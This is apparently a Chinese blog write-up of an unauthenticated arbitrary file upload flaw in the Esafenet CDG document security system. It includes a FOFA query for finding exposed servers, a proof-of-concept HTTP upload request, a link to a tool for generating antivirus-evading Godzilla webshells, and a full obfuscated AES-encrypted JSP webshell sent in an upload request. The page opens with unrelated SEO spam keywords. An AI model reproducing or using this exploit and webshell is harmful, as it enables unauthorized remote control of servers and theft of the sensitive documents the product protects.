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大连网站建设案例,佛山seo外包平台,网站的回到顶部怎么做,中职网站建设与维护试卷0x01 产品简介亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产&…

0x01 产品简介

亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。

0x02 漏洞概述

亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient接口处存在任意文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。

0x03 影响范围

全局影响（万级）

0x04 复现环境

FOFA：app="亿赛通-电子文档安全管理系统"

0x05 漏洞复现

PoC

POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0文件内容

实践：

PS：上传后根目录访问tttT.jsp即可

漏洞利用

生成哥斯拉免杀马

工具地址：https://github.com/Tas9er/ByPassGodzilla

尝试上传

POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0<%! String govsb_NQ = "c1976fc471d32d0b";String govsb_rRDYrq62F = "Tas9er";class govsb_yYcq09pP504Xb extends /*edusb_Yd*/ClassLoader {public govsb_yYcq09pP504Xb(ClassLoader govsb_vLM8) {super/*edusb_QST55l*/(govsb_vLM8);}public Class govsb_qvs(byte[] govsb_pHH5nFhGBGJrs) {return super./*edusb_9lA81*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_vZLmO*/(govsb_pHH5nFhGBGJrs, 1099931-1099931, govsb_pHH5nFhGBGJrs.length);}}public byte[] govsb_VA(byte[] govsb_RDLs5gMnLdx7, boolean govsb_FJ1cLOh5) {try {j\u0061\u0076\u0061\u0078./*edusb_yyAR3cHFdavJGU*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_Bsa1 = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_ugUsn1*/("AES");govsb_Bsa1.init(govsb_FJ1cLOh5?1099931/1099931:1099931/1099931+1099931/1099931,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_AD7*/SecretKeySpec/*edusb_qvGt5qn*/(govsb_NQ.getBytes(), "AES"));return govsb_Bsa1.doFinal/*edusb_f5*/(govsb_RDLs5gMnLdx7);} catch (Exception e) {return null;}}%><%try {byte[] govsb_tby6ZYM2tmeJCk = java.util.Base64./*edusb_Hr5K*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_Wty*/decode(request.getParameter(govsb_rRDYrq62F));govsb_tby6ZYM2tmeJCk = govsb_VA(govsb_tby6ZYM2tmeJCk,false);if (session.getAttribute/*edusb_7*/("payload") == null) {session.setAttribute("payload", new govsb_yYcq09pP504Xb(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_RqwVLvZTZBVeCp3*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_V6FRLkLW*/.govsb_qvs(govsb_tby6ZYM2tmeJCk));} else {request.setAttribute("parameters", govsb_tby6ZYM2tmeJCk);java.io.ByteArrayOutputStream govsb_3 = new java.io./*edusb_v9iBBl*/ByteArrayOutputStream();Object govsb_YCJ = /*edusb_xLTC*/((Class) session.getAttribute("payload"))./*edusb_Invmf*//*edusb_8Q5Mk*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_lSK4DHyA*/;govsb_YCJ.equals(govsb_3);govsb_YCJ.equals(pageContext);response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(1099931-1099931, 16));govsb_YCJ.toString();response.getWriter().write(java.util.Base64/*edusb_Qz*/.getEncoder()/*edusb_P9Bzr0TBcIv7y*/.encodeToString(govsb_VA(govsb_3.toByteArray(),true)));response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(16));}} catch (Exception e) {}
%>

尝试连接